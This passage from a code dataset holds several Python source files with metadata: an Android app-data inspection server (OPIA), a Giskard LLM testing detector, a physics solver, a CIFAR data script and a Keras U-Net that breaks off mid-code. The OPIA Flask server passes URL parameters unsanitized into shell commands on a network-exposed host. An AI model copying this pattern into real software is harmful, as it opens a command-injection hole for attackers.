"numpy.linalg.norm", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 140, "usage_type": "attribute"}, {"api_name": "numpy.argsort", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 149, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 149, "usage_type": "name"}, {"api_name": "cv2.imread", "line_number": 155, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 156, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 156, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 163, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 164, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 164, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 168, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 168, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 169, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 169, "usage_type": "name"}]}
{"seq_id": "29913643864", "text": "from flask import Flask, render_template\nimport os\nimport time\nimport json\nimport subprocess\nimport logDictionary\nimport xml.etree.ElementTree as ET \nimport firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import firestore\nfrom subprocess import check_output\n\napp = Flask(__name__)\n\n\n################### firebase connection ###################\n\ncred = credentials.Certificate('/Users/lanabeji/Downloads/opia-d284c-firebase-adminsdk-pm5ax-d2e68d57fa.json')\nfirebase_admin.initialize_app(cred)\n\ndb = firestore.client()\n\n################### variables ###################\n\npackageSelected = ''\npackageLogcat = ''\n\n################### routes ###################\n\n@app.route('/')\ndef main():\n    return render_template('home.html')\n\n#read the databases of a given package and device\n@app.route('/app//')\ndef show_package(id, package):\n\treturn readDatabases(id, package)\n\n#display the databases of the package and device\n@app.route('/databases//')\ndef show_databases(id, package):\n\treturn displayData(id, package)\n\n#read the shared preferences of a given package and device\n@app.route('/sp//')\ndef get_sp(id, package):\n\treturn displaySharedPreferences(id, package)\n\n#read the logcat of the given package, device and specific execution\n@app.route('/log///')\ndef get_logcat(id, execution, package):\n\treturn getLogcat(id, execution, package)\n\n#display the logcat of the given package, device and specific execution\n@app.route('/logcat///')\ndef show_logcat(id, execution, package):\n\treturn displayLogcatTable(id, execution, package)\n\n#clear the logcat on the device connected\n@app.route('/clear/')\ndef clear():\n\treturn clearLogcat()\n\n\n################### database methods ###################\n\n# filters databases by termination, i.e it reads the file with termination .db (excluding .db-journal)\ndef filterDatabases(databases):\n\n\tnewDatabases = []\n\n\ttermination = 'db'\n\tterminationJournal = '-journal'\n\tfor i in range(0, len(databases)):\n\t\tdatabase = databases[i]\n\n\t\tif(not database.endswith(terminationJournal)):\n\t\t\tnewDatabases.append(database)\n\n\treturn newDatabases\n\n# Gets the databases from the device by creating a backup. \n# It returns a list of tables but saves also the data from the tables and shared preferences\ndef readDatabases(id, packageName):\n\n\tallDatabases = []\n\tallTables = []\n\n\tpackageSelected = packageName\n\tprint(packageSelected)\n\n\tdoc_ref = db.collection(u''+id).document(u''+packageName)\n\n\t#getting backup from app on device\n\tb = subprocess.Popen('adb backup -noapk ' + packageName, stdout=subprocess.PIPE, shell=True)\n\tb_status = b.wait()\n\n\t#unpack backup\n\tt = subprocess.Popen('java -jar abe.jar unpack backup.ab backup.tar', stdout=subprocess.PIPE, shell=True)\n\tt_status = t.wait()\n\n\t#extract .tar\n\tt1 = subprocess.Popen('tar -xvf backup.tar', stdout=subprocess.PIPE, shell=True)\n\tt1_status = t1.wait()\n\n\tpath = 'apps/'+packageName+'/db/'\n\n\t#read databases\n\tans = os.popen('ls '+path).read()\n\n\t#list databases\n\tarr = ans.split()\n\n\t#gets databases not journals\n\tfilteredDatabases = filterDatabases(arr)\n\tprint(filteredDatabases)\n\n\t#gets tables from all databases\n\n\tfor i in range(0, len(filteredDatabases)):\n\n\t\t#access the databases using sqlite3\n\t\tdbPath = 'sqlite3 ' + path+filteredDatabases[i] + ' \".tables\"'\n\n\t\ttables = os.popen(dbPath).read().split()\n\n\t\ta = [filteredDatabases[i]] * len(tables)\n\n\t\tallDatabases.extend(a)\n\t\tallTables.extend(tables)\n\n\n\ttablesFirestore = []\n\tfor i in range(0, len(allTables)):\n\t\t#gets all the information stored on each table\n\t\tif(allTables[i] != 'android_metadata' and allTables[i] != 'room_master_table'):\n\t\t\ttablesFirestore.append(readTable(allTables[i], allDatabases[i], path))\n\n\tspDict = getSharedPreferences(packageName)\n\n\tdoc_ref.set({\n    \tu'tables': tablesFirestore,\n    \tu'sharedpreferences' : spDict\n\t})\n\n\treturn json.dumps(allTables)\n\n# Gets all the information stores on each table given the table name, database and the path to the file.\n# It saves all the info in global variables as a html string to display on tables\ndef readTable(tableName, databaseName, path):\n\n\theaders = ' \".headers on\"'\n\tmode = ' \".mode html\"'\n\ttableSelect = ' \"select * from '+ tableName+';\"'\n\ttableCommand = 'sqlite3 ' + path+databaseName + headers + mode + tableSelect\n\n\ttry: \n\t\ttableContent = os.popen(tableCommand).read()\n\texcept:\n\t\ttableContent = ''\n\n\ttable = tableName + '$$$' + tableContent\n\n\treturn table \n\n#Creates an html file with all the tables and its information.\n#Returns the html \ndef displayData(id, package):\n\n\tstrHtml = 'Opia
Tables
'\n\n\tdevice_ref = db.collection(u''+id).document(u''+package)\n\ttables = device_ref.get().to_dict()['tables']\n\n\tfor i in range(0, len(tables)):\n\n\t\ttableInfo = tables[i].split('$$$')\n\n\t\tif(tableInfo[1] != ''):\n\t\t\tstrName = '
'+tableInfo[0]+'
'\n\t\t\tstrTable = strName+'' + tableInfo[1]\n\t\t\tstrHtml = strHtml+strTable+'
'\n\n\tstrHtml = strHtml + ''\n\n\treturn strHtml\n\n################### shared preferences methods ###################\n\n#return shared preferences from the phone \ndef getSharedPreferences(package):\n\n\tpath = 'apps/'+package+'/sp/'\n\n\t#get shared preferences files\n\tans = os.popen('ls '+path).read()\n\n\t#list shared preferences files\n\tarr = ans.split()\n\n\tspDict = {}\n\n\tfor i in range(0, len(arr)):\n\n\t\tspName = arr[i]\n\t\ttree = ET.parse(path+spName)  \n\t\troot = tree.getroot()\n\n\t\tspRows = []\n\n\t\tfor elem in root:\n\n\t\t\ttag = elem.tag\n\t\t\tname = elem.attrib['name']\n\t\t\tvalue = ''\n\n\t\t\tif(tag == 'string'):\n\t\t\t\tvalue = elem.text\n\t\t\t\t\n\t\t\telif(tag == 'set'):\n\t\t\t\tvalue = ''\n\t\t\telse:\n\t\t\t\tvalue = elem.attrib['value']\n\n\t\t\tif value == None :\n\t\t\t\tvalue = ''\n\n\t\t\tcurrent = tag + '$$$' + name + '$$$' + value\n\n\t\t\tspRows.append(current)\n\n\t\tspDict[spName] = spRows\n\n\treturn spDict\n\n#retrieve shared preferences from firebase and shows them as tables\ndef displaySharedPreferences(id, package):\n\n\tstrHtml = 'Opia
Shared Preferences
'\n\n\tdevice_ref = db.collection(u''+id).document(u''+package)\n\tsharedpreferences = device_ref.get().to_dict()['sharedpreferences'] \n\n\tfor key,value in sharedpreferences.items():\n\n\t\tif(len(value) > 0):\n\n\t\t\tstrName = '
'+key+'
'\n\t\t\tstrTable = strName + ''\n\n\t\t\tfor i in range(0, len(value)):\n\t\t\t\tcurrent = value[i].split('$$$')\n\n\t\t\t\tstrTable = strTable + ''\n\t\t\t\tstrTable = strTable + ''\n\t\t\t\tstrTable = strTable + ''\n\n\t\t\tstrHtml = strHtml+strTable+'
TypeKeyValue
' + current[0] + '' + current[1] + '' + current[2] + '
'\n\n\tstrHtml = strHtml + ''\n\n\treturn strHtml\n\n\n################### logcat methods ###################\n\n# Gets the logcat and filters it by the package given. Also it filters the logcat with a dictionary to leave only developer's logs\n# It returns OK if the logcat was extracted successfully and CRASH if the app crashed.\ndef getLogcat(id, execution, package):\n\n\tdevice_ref = db.collection(u''+id).document(u''+execution)\n\tlog = device_ref.get().to_dict()\n\n\tlogAlone = []\n\n\tif(log != None):\n\t\tif('log' in log): #if it exists append to it the new lines\n\t\t\tlogAlone = log['logAlone']\n\t\t\tlog = log['log']\n\t\telse:\n\t\t\tlog = []\n\telse: #if it is None creates a new list \n\t\tlog = []\n\n\tdictionary = logDictionary.dictionary\n\n\t#get the current activity\n\tactivityOutput = check_output(['adb', 'shell', 'dumpsys', 'window', 'windows', '|', 'grep', '-E', \"'mCurrentFocus'\" ]).decode('ISO-8859-1')\n\tactivitySplitted = activityOutput.split(' ')\n\tactivityName = activitySplitted[len(activitySplitted)-1].replace('}','')\n\n\tif('null' in activityName):\n\t\tfocusedApp = check_output(['adb', 'shell', 'dumpsys', 'window', '|', 'grep', '-E', \"'mFocusedApp'\" ]).decode('ISO-8859-1')\n\t\tfocusedSplitted = focusedApp.split('=')[1].split(' ')\n\t\tmFocusedApp = focusedSplitted[len(focusedSplitted)-4]\n\t\tactivityName = mFocusedApp\n\n\t#get the number of the process of the given package\n\tcommandProcess = 'adb shell ps | grep ' + package\n\tprocessNumber = os.popen(commandProcess).read().split()[1]\n\n\t#get the logcat filtered by the process number\n\tans = check_output(['adb', 'logcat', '-d','|', 'grep', '-F', processNumber]).decode('ISO-8859-1')\n\tlogcatProcess = ans.split('\\n')\n\n\t#check if the line of the logcat has any tag of the dictionary\n\t#if it is in the dictionary, the log is a system log not a developer log\n\tfor i in range(0, len(logcatProcess)):\n\t\tline = logcatProcess[i]\n\t\tfullLine = line+'$$$'+activityName\n\n\t\tcurrent = line.split()\n\n\t\tif(len(current) > 4):\n\n\t\t\ttag = current[5]\t\t\t\n\t\t\tif(dictionary.get(tag) == None):\n\t\t\t\tif(line not in logAlone):\n\t\t\t\t\tif('[OkHttp]' not in line and '[CDS]' not in line and '[socket]' not in line): \n\t\t\t\t\t\tlogAlone.append(line)\n\t\t\t\t\t\tlog.append(fullLine)\n\n\t\n\t#check if the current activity is a crash, if it has, stop the app and start it again\n\tif('Application Error:' in activityOutput):\n\t\t#ENCONTRO EL ERROR, AHORA REINICIE\n\t\treturn stopStart(package)\n\n\tdevice_ref.update({\n    \tu'log': log,\n    \tu'logAlone' : logAlone\n\t})\n\n\treturn 'OK'\n\n#Displays the logcat as a table with the timestamp, priority, current activity and message.\n#It return an html with the table.\ndef displayLogcatTable(id, execution, package):\n\n\tdevice_ref = db.collection(u''+id).document(u''+execution)\n\tlog = device_ref.get().to_dict()\n\n\tif(log != None):\n\t\tif('log' in log): #if it exists append to it the new lines\n\t\t\tlog = log['log']\n\t\telse:\n\t\t\tlog = []\n\telse: #if it is None creates a new list \n\t\tlog = []\n\n\tstrHtml = 'Opia
Logcat '+package+'
'\n\tstrHtml = strHtml + ''\n\n\tfor i in range(0, len(log)):\n\n\t\tlogLine = log[i].split('$$$')\n\t\tfilteredLogcat = logLine[0]\n\n\t\tif('AndroidRuntime' in filteredLogcat):\n\t\t\tstrHtml = strHtml + ''\n\t\telse:\n\t\t\tstrHtml = strHtml + ''\n\t\t\t\n\t\tsplitted = filteredLogcat.split()\n\n\t\tstrHtml = strHtml + ''\n\n\t\tstrHtml = strHtml + ''\n\n\t\tstrHtml = strHtml + ''\n\n\t\tstrHtml = strHtml + ''\n\n\t\tstrHtml = strHtml + ''\n\n\tstrHtml = strHtml + '
DatePriorityActivityMessage
'\n\t\tstrHtml = strHtml + splitted[0] + ' ' + splitted[1]\n\t\tstrHtml = strHtml + ''\n\t\tstrHtml = strHtml + splitted[4] \n\t\tstrHtml = strHtml + ''\n\t\tstrHtml = strHtml + logLine[1]\n\t\tstrHtml = strHtml + ''\n\t\tstrHtml = strHtml + ' '.join(splitted[5:]) \n\t\tstrHtml = strHtml + '
'\n\n\treturn strHtml\n\n################### helper methods ###################\n\n#Stops and starts an app when a crash is detected using ADB commands\ndef stopStart(packageStop):\n\tadb = 'adb shell am force-stop ' + packageStop\n\tb = subprocess.Popen(adb, stdout=subprocess.PIPE, shell=True)\n\tb_status = b.wait()\n\n\tadbStart = 'adb shell monkey -p '+packageStop+' 1'\n\tc = subprocess.Popen(adbStart, stdout=subprocess.PIPE, shell=True)\n\tc_status = c.wait()\n\n\treturn 'CRASH'\n\n#Clears the logcat using ADB Commands\ndef clearLogcat():\n\tadb = 'adb logcat -c'\n\tb = subprocess.Popen(adb, stdout=subprocess.PIPE, shell=True)\n\tb_status = b.wait()\n\n\treturn 'Logcat cleared'\n\n\n\nif __name__ == '__main__':\n    app.run(host= '0.0.0.0')\n\n", "repo_name": "TheSoftwareDesignLab/OPIA-web-server", "sub_path": "app/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 11621, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 13, "usage_type": "call"}, {"api_name": "firebase_admin.credentials.Certificate", "line_number": 18, "usage_type": "call"}, {"api_name": "firebase_admin.credentials", "line_number": 18, "usage_type": "name"}, {"api_name": "firebase_admin.initialize_app", "line_number": 19, "usage_type": "call"}, {"api_name": "firebase_admin.firestore.client", "line_number": 21, "usage_type": "call"}, {"api_name": "firebase_admin.firestore", "line_number": 21, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 32, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 95, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 95, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 99, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 99, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 103, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 103, "usage_type": "attribute"}, {"api_name": "os.popen", "line_number": 109, "usage_type": "call"}, {"api_name": "os.popen", "line_number": 125, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 146, "usage_type": "call"}, {"api_name": "os.popen", "line_number": 158, "usage_type": "call"}, {"api_name": "os.popen", "line_number": 196, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 206, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 206, "usage_type": "name"}, {"api_name": "logDictionary.dictionary", "line_number": 285, "usage_type": "attribute"}, {"api_name": "subprocess.check_output", "line_number": 288, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 293, "usage_type": "call"}, {"api_name": "os.popen", "line_number": 300, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 303, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 393, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 393, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 397, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 397, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 405, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 405, "usage_type": "attribute"}]}
{"seq_id": "21136453535", "text": "from typing import Sequence\n\nimport pandas as pd\n\nfrom ...datasets.base import Dataset\nfrom ...llm.evaluators import RequirementEvaluator\nfrom ...llm.generators import AdversarialDataGenerator\nfrom ...llm.testcase import TestcaseRequirementsGenerator\nfrom ...models.base.model import BaseModel\nfrom ...testing.tests.llm import test_llm_output_against_requirement\nfrom ..issues import Issue\nfrom ..scanner import logger\n\n\nclass RequirementBasedDetector:\n    def __init__(self, num_requirements=4, num_samples=5):\n        self.num_requirements = num_requirements\n        self.num_samples = num_samples\n\n    def run(self, model: BaseModel, dataset: Dataset) -> Sequence[Issue]:\n        issue_description = self.get_issue_description()\n\n        logger.info(f\"{self.__class__.__name__}: Generating test case requirements\")\n        requirements_gen = TestcaseRequirementsGenerator(issue_description)\n        requirements = requirements_gen.generate_requirements(model, self.num_requirements)\n\n        logger.info(f\"{self.__class__.__name__}: Evaluating test cases\")\n        issues = []\n        for requirement in requirements:\n            logger.info(f\"{self.__class__.__name__}: Evaluating requirement: {requirement}\")\n            dg = AdversarialDataGenerator(issue_description=issue_description, requirement=requirement)\n            eval_dataset = dg.generate_dataset(model, self.num_samples)\n\n            evaluator = RequirementEvaluator([requirement])\n            eval_result = evaluator.evaluate(model, eval_dataset)\n\n            if eval_result.failed:\n                issues.append(\n                    self.make_issue(model, eval_dataset, requirement, pd.DataFrame(eval_result.failure_examples))\n                )\n                logger.info(\n                    f\"{self.__class__.__name__}: Test case failed ({len(eval_result.failure_examples)} failed examples)\"\n                )\n            else:\n                logger.info(f\"{self.__class__.__name__}: Test case passed\")\n\n        return issues\n\n    def make_issue(self, model: BaseModel, dataset: Dataset, requirement: str, examples: pd.DataFrame) -> Issue:\n        return Issue(\n            model,\n            dataset,\n            group=self._issue_group,\n            level=self._issue_level,\n            description=\"The model does not satisfy the following requirement: \" + requirement,\n            examples=examples,\n            meta={\n                \"domain\": requirement,\n                \"requirement\": requirement,\n                \"deviation\": f\"{len(examples)} failing sample{'s' if len(examples) > 1 else ''} found\",\n                \"hide_index\": True,\n            },\n            tests=_generate_output_requirement_tests,\n        )\n\n\ndef _generate_output_requirement_tests(issue: Issue):\n    return {\n        issue.meta[\"requirement\"]: test_llm_output_against_requirement(\n            dataset=issue.dataset, requirement=issue.meta[\"requirement\"]\n        )\n    }\n", "repo_name": "Giskard-AI/giskard", "sub_path": "giskard/scanner/llm/base.py", "file_name": "base.py", "file_ext": "py", "file_size_in_byte": 2929, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2258, "dataset": "github-code", "pt": "71", "api": [{"api_name": "models.base.model.BaseModel", "line_number": 20, "usage_type": "name"}, {"api_name": "datasets.base.Dataset", "line_number": 20, "usage_type": "name"}, {"api_name": "scanner.logger.info", "line_number": 23, "usage_type": "call"}, {"api_name": "scanner.logger", "line_number": 23, "usage_type": "name"}, {"api_name": "llm.testcase.TestcaseRequirementsGenerator", "line_number": 24, "usage_type": "call"}, {"api_name": "scanner.logger.info", "line_number": 27, "usage_type": "call"}, {"api_name": "scanner.logger", "line_number": 27, "usage_type": "name"}, {"api_name": "scanner.logger.info", "line_number": 30, "usage_type": "call"}, {"api_name": "scanner.logger", "line_number": 30, "usage_type": "name"}, {"api_name": "llm.generators.AdversarialDataGenerator", "line_number": 31, "usage_type": "call"}, {"api_name": "llm.evaluators.RequirementEvaluator", "line_number": 34, "usage_type": "call"}, {"api_name": "issues.append", "line_number": 38, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 39, "usage_type": "call"}, {"api_name": "scanner.logger.info", "line_number": 41, "usage_type": "call"}, {"api_name": "scanner.logger", "line_number": 41, "usage_type": "name"}, {"api_name": "scanner.logger.info", "line_number": 45, "usage_type": "call"}, {"api_name": "scanner.logger", "line_number": 45, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 20, "usage_type": "name"}, {"api_name": "issues.Issue", "line_number": 20, "usage_type": "name"}, {"api_name": "models.base.model.BaseModel", "line_number": 49, "usage_type": "name"}, {"api_name": "datasets.base.Dataset", "line_number": 49, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 49, "usage_type": "attribute"}, {"api_name": "issues.Issue", "line_number": 50, "usage_type": "call"}, {"api_name": "issues.Issue", "line_number": 49, "usage_type": "name"}, {"api_name": "issues.Issue", "line_number": 67, "usage_type": "name"}, {"api_name": "testing.tests.llm.test_llm_output_against_requirement", "line_number": 69, "usage_type": "call"}]}
{"seq_id": "37532374850", "text": "#Stephen Greene\r\n#LR Circuit\r\n#ODEs Runge-Kutta\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n#for square wave\r\nfrom scipy import signal\r\n\r\n\r\n#defining dI/dt\r\ndef f(T,I):\r\n    return 1.0/0.9*(V(T)-8.0*I)\r\n    \r\n#defining square wave\r\ndef V(T):\r\n    return signal.square(np.pi*2.0*T)\r\n    \r\n#ask user for input\r\n#array for time and current, step size\r\nn = int(input('Please enter value for n:  '))\r\nT = np.linspace(0,4,n)\r\nI = np.empty(n)\r\nh = 4.0/n\r\nI[0] = 1 #starting current\r\n\r\n#Runge-Kutta 4 Method\r\nfor i in range(n-1):\r\n    r1 = h*f(T[i],I[i])\r\n    r2 = h*f(T[i]+(h/2.0),I[i]+(r1/2.0))\r\n    r3 = h*f(T[i]+(h/2.0),I[i]+(r2/2.0))\r\n    r4 = h*f(T[i]+h,I[i]+r3)\r\n    \r\n    I[i+1] = I[i]+(r1/6.0)+(r2/3.0)+(r3/3.0)+(r4/6.0)\r\n\r\n#plotting\r\nplt.plot(T,I, label ='I(t)')\r\nplt.plot(T,V(T), label ='V(t)')\r\nplt.plot(T,f(T,I), label = 'dI(T)/dT(T)')\r\nplt.title('LR Circuit')\r\nplt.xlabel('Time (s)')\r\nplt.ylabel('I (T)')\r\nplt.grid()\r\nplt.legend()\r\nplt.show()", "repo_name": "stephengreene92/Physics-Problems", "sub_path": "lr_circuit.py", "file_name": "lr_circuit.py", "file_ext": "py", "file_size_in_byte": 960, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "scipy.signal.square", "line_number": 17, "usage_type": "call"}, {"api_name": "scipy.signal", "line_number": 17, "usage_type": "name"}, {"api_name": "numpy.pi", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}]}
{"seq_id": "74809981988", "text": "import os\nimport argparse\nimport pandas as pd\nimport numpy as np\nfrom PIL import Image\n\nfrom data_processing.recover_dataset import CIFAR100Coarse\n\n\ndef get_novel_class(data_folder, train):\n    # Download the CIFAR100 Data\n    cifar100_data = CIFAR100Coarse(\n        root=data_folder,\n        train=train,\n        download=True\n    )\n\n    images = cifar100_data.data\n    labels = np.asarray(cifar100_data.targets)\n\n    # Filter out all reptile images\n    non_reptile_images = images[np.squeeze(labels != 15)]\n\n    random_indices = np.random.choice(\n        len(non_reptile_images),\n        size=200,\n        replace=False\n    )\n\n    random_images = non_reptile_images[random_indices]\n\n    return random_images\n\n\ndef create_arg_parser():\n    parser = argparse.ArgumentParser(description='Download images for sub classes')\n    parser.add_argument('--training_label_path', required=True, help='the path to training label')\n    parser.add_argument('--new_train_label_path', required=True, help='The output_folder')\n    parser.add_argument('--cifar_data_folder', required=True, help='The output_folder')\n    parser.add_argument('--image_folder', required=True, help='The output_folder')\n    parser.add_argument('--is_train', action='store_true')\n    return parser\n\n\ndef main(args):\n    subclass_mapping = pd.read_csv(args.training_label_path, header=0)\n\n    if not os.path.exists(args.image_folder):\n        os.makedirs(args.image_folder)\n\n    last_image_number = max(\n        [int(item[1][:-4]) for item in subclass_mapping.image.iteritems()]\n    ) + 1\n\n    novel_images = get_novel_class(args.cifar_data_folder, args.is_train)\n\n    new_images = []\n    for img_array in novel_images:\n        img = Image.fromarray(img_array)\n        image_name = f'{last_image_number}.jpg'\n        img.save(os.path.join(args.image_folder, image_name))\n        last_image_number += 1\n        # 89 is the novel index\n        if args.is_train:\n            new_images.append((image_name, 3, 89))\n        else:\n            new_images.append((image_name, 89))\n\n    pd.concat(\n        [subclass_mapping,\n         pd.DataFrame(new_images, columns=subclass_mapping.columns)]\n    ).to_csv(args.new_train_label_path, index=False)\n\n\nif __name__ == \"__main__\":\n    main(create_arg_parser().parse_args())\n", "repo_name": "ChaoPang/nndl_final_project", "sub_path": "utils/build_subclass_novel_class.py", "file_name": "build_subclass_novel_class.py", "file_ext": "py", "file_size_in_byte": 2270, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "data_processing.recover_dataset.CIFAR100Coarse", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 24, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 36, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 49, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 59, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 59, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 69, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 71, "usage_type": "call"}]}
{"seq_id": "22073071190", "text": "from keras.layers import Input, Conv2D, Conv2DTranspose\nfrom keras.layers import MaxPooling2D, UpSampling2D, AveragePooling2D\nfrom keras.layers import BatchNormalization, Activation, concatenate, Lambda, add, Dropout\nfrom keras.models import Model\nimport keras.backend as K\nfrom keras import optimizers\n\n# lr = 0.00001\n# lr = 1e-6\n# decay = 1e-6\n# decay = 0\n\n# Batch Normalization\nis_batch_norm = True\n# is_batch_norm = False\n\n# DropOut\n# is_drop_out = True\nis_drop_out = False\n\n# difference_scaling = 100\n\ndepth_threshold = 0.2\ndifference_threshold = 0.01\ndifference_threshold = 10\n\n''' U-Net '''\ndef build_unet_model(batch_shape,\n                    ch_num,\n                    drop_rate=0.1,\n                    transfer_learn=False,\n                    transfer_encoder=False,\n                    lr=0.001,\n                    scaling=1\n                    ):\n    def encode_block(x, ch):\n        def base_block(x):\n            x = BatchNormalization()(x)\n            x = Activation('tanh')(x)\n            x = Dropout(rate=drop_rate)(x)\n            x = Conv2D(ch, (3, 3), padding='same')(x)\n            return x\n        \n        x = base_block(x)\n        x = base_block(x)\n        return x\n    \n    def decode_block(x, c, ch):\n        ch = ch\n        def base_block(x):\n            x = BatchNormalization()(x)\n            x = Activation('tanh')(x)\n            x = Dropout(rate=drop_rate)(x)\n            x = Conv2DTranspose(ch, (3, 3), padding='same')(x)\n            return x\n        \n        x = Conv2DTranspose(ch, (3, 3), padding='same')(x)\n        x = UpSampling2D((2, 2))(x)\n        x = concatenate([x, c])\n\n        x = base_block(x)\n        x = base_block(x)\n        return x\n    \n    input_batch = Input(shape=(*batch_shape, ch_num))\n    e0 = Conv2D(8, (1, 1), padding='same')(input_batch)\n    e0 = Activation('tanh')(e0)\n\n    e0 = encode_block(e0, 16)\n\n    e1 = AveragePooling2D((2, 2))(e0)\n    e1 = encode_block(e1, 32)\n\n    e2 = AveragePooling2D((2, 2))(e1)\n    e2 = encode_block(e2, 64)\n\n    e3 = AveragePooling2D((2, 2))(e2)\n    e3 = encode_block(e3, 128)\n\n    d2 = decode_block(e3, e2, 64)\n    d1 = decode_block(d2, e1, 32)\n    d0 = decode_block(d1, e0, 16)\n\n    # d0 = Conv2D(2, (1, 1), padding='same')(d0)\n    # output_batch = Activation('tanh')(d0)\n    # output_batch = Conv2D(2, (1, 1), padding='same')(d0)\n    output_batch = Conv2D(1, (1, 1), padding='same')(d0)\n\n    def mean_squared_error_with_mask(y_true, y_pred):\n        difference = y_true[:, :, :, 0]\n        depth_gap = y_true[:, :, :, 1]\n        # mask = y_true[:, :, :, 1]\n\n        difference *= scaling\n\n        is_gap_available = depth_gap > depth_threshold\n        # is_depth_close = difference < difference_threshold\n        is_depth_close = K.all(K.stack([K.abs(difference) < difference_threshold, \n                                        is_gap_available], axis=0), axis=0)\n        mask = K.cast(is_depth_close, 'float32')\n\n        mask_length = K.sum(mask)\n        err = K.sum(K.square(difference - y_pred[:, :, :, 0]) * mask) / mask_length # MSE\n        # err = K.mean(K.square(difference - y_pred[:, :, :, 0]) * mask)\n        # err = K.sum(K.abs(difference - y_pred[:, :, :, 0]) * mask) / mask_length # MAE\n        return err\n\n    model = Model(input_batch, output_batch)\n\n    # Transfer Learning\n    if transfer_learn:\n        for l in model.layers[:38]:\n            l.trainable = False\n    elif transfer_encoder:\n        for l in model.layers[38:]:\n            l.trainable = False\n\n    # adam = optimizers.Adam(lr=lr, decay=decay)\n    adam = optimizers.Adam(lr=lr)\n    model.compile(\n                # optimizer='adam',\n                optimizer=adam,\n                metrics=['accuracy'],\n                loss=mean_squared_error_with_mask\n                # loss='mean_squared_error'\n                # 